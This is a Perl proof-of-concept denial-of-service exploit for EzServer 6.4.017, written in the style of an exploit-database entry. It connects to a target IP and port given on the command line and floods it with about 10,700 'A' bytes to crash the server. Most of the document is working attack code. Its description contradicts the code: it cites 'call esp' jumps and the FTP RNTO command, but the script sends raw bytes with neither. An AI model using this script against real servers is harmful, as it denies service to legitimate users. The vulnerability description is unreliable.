#!/usr/bin/perl

use IO::Socket;

# Exploit Title: EzServer 6.4.017 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1hCYYsWsyeuoHTh3ZosNRbtIBxw0culsu/view?usp=sharing
# Notification vendor: No reported
# Tested Version: EzServer 6.4.017 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $payload = "\x41"x10698;

    my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!\n";
    $sock->send($payload);
    $sock->close();

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {


                            _/|     
                           // o\    
                           || ._)  
                           //__\   
                           )___(   

      [+] EzServer 6.4.017 - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }